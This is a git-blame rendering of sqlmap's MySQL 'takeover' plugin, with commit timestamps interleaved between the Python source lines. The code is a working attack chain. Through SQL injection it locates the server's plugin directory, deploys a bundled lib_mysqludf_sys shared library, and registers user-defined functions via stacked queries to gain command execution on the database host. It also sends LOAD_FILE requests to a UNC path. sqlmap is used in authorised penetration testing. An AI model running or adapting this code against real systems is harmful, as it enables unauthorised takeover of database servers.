2013-02-14 15:32:17 +04:00
|
|
|
#!/usr/bin/env python
|
2010-03-23 01:57:57 +03:00
|
|
|
|
|
|
|
"""
|
2016-01-06 02:06:12 +03:00
|
|
|
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
2010-10-15 03:18:29 +04:00
|
|
|
See the file 'doc/COPYING' for copying permission
|
2010-03-23 01:57:57 +03:00
|
|
|
"""
|
|
|
|
|
2014-11-03 10:31:50 +03:00
|
|
|
import os
|
2010-03-23 01:57:57 +03:00
|
|
|
import re
|
|
|
|
|
|
|
|
from lib.core.agent import agent
|
2011-04-23 20:25:09 +04:00
|
|
|
from lib.core.common import Backend
|
2014-12-14 02:10:43 +03:00
|
|
|
from lib.core.common import decloakToTemp
|
2013-02-13 12:57:16 +04:00
|
|
|
from lib.core.common import isStackingAvailable
|
2010-03-23 01:57:57 +03:00
|
|
|
from lib.core.common import normalizePath
|
|
|
|
from lib.core.common import ntToPosixSlashes
|
|
|
|
from lib.core.common import randomStr
|
2012-11-26 17:59:44 +04:00
|
|
|
from lib.core.common import unArrayizeValue
|
2010-03-23 01:57:57 +03:00
|
|
|
from lib.core.data import kb
|
|
|
|
from lib.core.data import logger
|
|
|
|
from lib.core.data import paths
|
2011-04-23 20:25:09 +04:00
|
|
|
from lib.core.enums import OS
|
2010-03-23 01:57:57 +03:00
|
|
|
from lib.request import inject
|
|
|
|
from lib.request.connect import Connect as Request
|
|
|
|
from plugins.generic.takeover import Takeover as GenericTakeover
|
|
|
|
|
|
|
|
class Takeover(GenericTakeover):
|
|
|
|
def __init__(self):
|
2010-07-01 14:39:04 +04:00
|
|
|
self.__basedir = None
|
|
|
|
self.__datadir = None
|
2015-03-26 03:22:16 +03:00
|
|
|
self.__plugindir = None
|
2010-03-23 01:57:57 +03:00
|
|
|
|
|
|
|
GenericTakeover.__init__(self)
|
|
|
|
|
|
|
|
def udfSetRemotePath(self):
|
|
|
|
self.getVersionFromBanner()
|
|
|
|
|
|
|
|
banVer = kb.bannerFp["dbmsVersion"]
|
|
|
|
|
2015-03-26 01:43:48 +03:00
|
|
|
if banVer >= "5.0.67":
|
2015-03-26 03:22:16 +03:00
|
|
|
if self.__plugindir is None:
|
|
|
|
logger.info("retrieving MySQL plugin directory absolute path")
|
|
|
|
self.__plugindir = unArrayizeValue(inject.getValue("SELECT @@plugin_dir"))
|
2015-03-26 01:43:48 +03:00
|
|
|
|
2015-03-26 03:22:16 +03:00
|
|
|
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
|
|
|
|
if self.__plugindir is None and banVer >= "5.1.19":
|
2010-07-01 14:39:04 +04:00
|
|
|
logger.info("retrieving MySQL base directory absolute path")
|
2010-03-23 01:57:57 +03:00
|
|
|
|
2010-07-01 14:39:04 +04:00
|
|
|
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
|
2012-11-26 17:59:44 +04:00
|
|
|
self.__basedir = unArrayizeValue(inject.getValue("SELECT @@basedir"))
|
2010-03-23 01:57:57 +03:00
|
|
|
|
2014-06-12 10:56:35 +04:00
|
|
|
if re.search("^[\w]\:[\/\\\\]+", (self.__basedir or ""), re.I):
|
2011-04-23 20:25:09 +04:00
|
|
|
Backend.setOs(OS.WINDOWS)
|
2010-07-01 14:39:04 +04:00
|
|
|
else:
|
2011-04-23 20:25:09 +04:00
|
|
|
Backend.setOs(OS.LINUX)
|
2010-03-23 01:57:57 +03:00
|
|
|
|
2015-03-26 03:22:16 +03:00
|
|
|
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
|
|
|
|
if Backend.isOs(OS.WINDOWS):
|
|
|
|
self.__plugindir = "%s/lib/plugin" % self.__basedir
|
|
|
|
else:
|
|
|
|
self.__plugindir = "%s/lib/mysql/plugin" % self.__basedir
|
|
|
|
|
2015-12-15 12:46:37 +03:00
|
|
|
self.__plugindir = ntToPosixSlashes(normalizePath(self.__plugindir)) or '.'
|
2010-03-23 01:57:57 +03:00
|
|
|
|
2015-03-26 03:22:16 +03:00
|
|
|
self.udfRemoteFile = "%s/%s.%s" % (self.__plugindir, self.udfSharedLibName, self.udfSharedLibExt)
|
2010-03-23 01:57:57 +03:00
|
|
|
|
2010-07-01 14:39:04 +04:00
|
|
|
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
|
|
|
|
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
|
|
|
|
else:
|
|
|
|
#logger.debug("retrieving MySQL data directory absolute path")
|
2010-03-23 01:57:57 +03:00
|
|
|
|
2010-07-01 14:39:04 +04:00
|
|
|
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
|
|
|
|
#self.__datadir = inject.getValue("SELECT @@datadir")
|
2010-03-23 01:57:57 +03:00
|
|
|
|
2010-07-01 14:39:04 +04:00
|
|
|
# NOTE: specifying the relative path as './udf.dll'
|
|
|
|
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
|
2015-12-15 12:46:37 +03:00
|
|
|
self.__datadir = '.'
|
2010-07-01 14:39:04 +04:00
|
|
|
self.__datadir = ntToPosixSlashes(normalizePath(self.__datadir))
|
2010-03-23 01:57:57 +03:00
|
|
|
|
2010-07-01 14:39:04 +04:00
|
|
|
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
|
|
|
|
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
|
|
|
|
self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
|
2010-03-23 01:57:57 +03:00
|
|
|
|
|
|
|
def udfSetLocalPaths(self):
|
2011-04-25 03:01:21 +04:00
|
|
|
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
2010-03-23 01:57:57 +03:00
|
|
|
self.udfSharedLibName = "libs%s" % randomStr(lowercase=True)
|
|
|
|
|
2011-04-23 20:25:09 +04:00
|
|
|
if Backend.isOs(OS.WINDOWS):
|
2014-12-14 02:10:43 +03:00
|
|
|
_ = os.path.join(self.udfLocalFile, "mysql", "windows", "%d" % Backend.getArch(), "lib_mysqludf_sys.dll_")
|
|
|
|
self.udfLocalFile = decloakToTemp(_)
|
2010-03-23 01:57:57 +03:00
|
|
|
self.udfSharedLibExt = "dll"
|
|
|
|
else:
|
2014-12-14 02:10:43 +03:00
|
|
|
_ = os.path.join(self.udfLocalFile, "mysql", "linux", "%d" % Backend.getArch(), "lib_mysqludf_sys.so_")
|
|
|
|
self.udfLocalFile = decloakToTemp(_)
|
2010-03-23 01:57:57 +03:00
|
|
|
self.udfSharedLibExt = "so"
|
|
|
|
|
|
|
|
def udfCreateFromSharedLib(self, udf, inpRet):
|
|
|
|
if udf in self.udfToCreate:
|
|
|
|
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
|
|
|
|
|
|
|
ret = inpRet["return"]
|
|
|
|
|
|
|
|
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
|
|
|
|
inject.goStacked("DROP FUNCTION %s" % udf)
|
|
|
|
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt))
|
|
|
|
|
|
|
|
self.createdUdf.add(udf)
|
|
|
|
else:
|
|
|
|
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
|
|
|
|
|
|
|
def uncPathRequest(self):
|
2013-02-13 12:57:16 +04:00
|
|
|
if not isStackingAvailable():
|
2011-04-30 17:20:05 +04:00
|
|
|
query = agent.prefixQuery("AND LOAD_FILE('%s')" % self.uncPath)
|
|
|
|
query = agent.suffixQuery(query)
|
2010-03-23 01:57:57 +03:00
|
|
|
payload = agent.payload(newValue=query)
|
|
|
|
|
|
|
|
Request.queryPage(payload)
|
|
|
|
else:
|
|
|
|
inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True)
|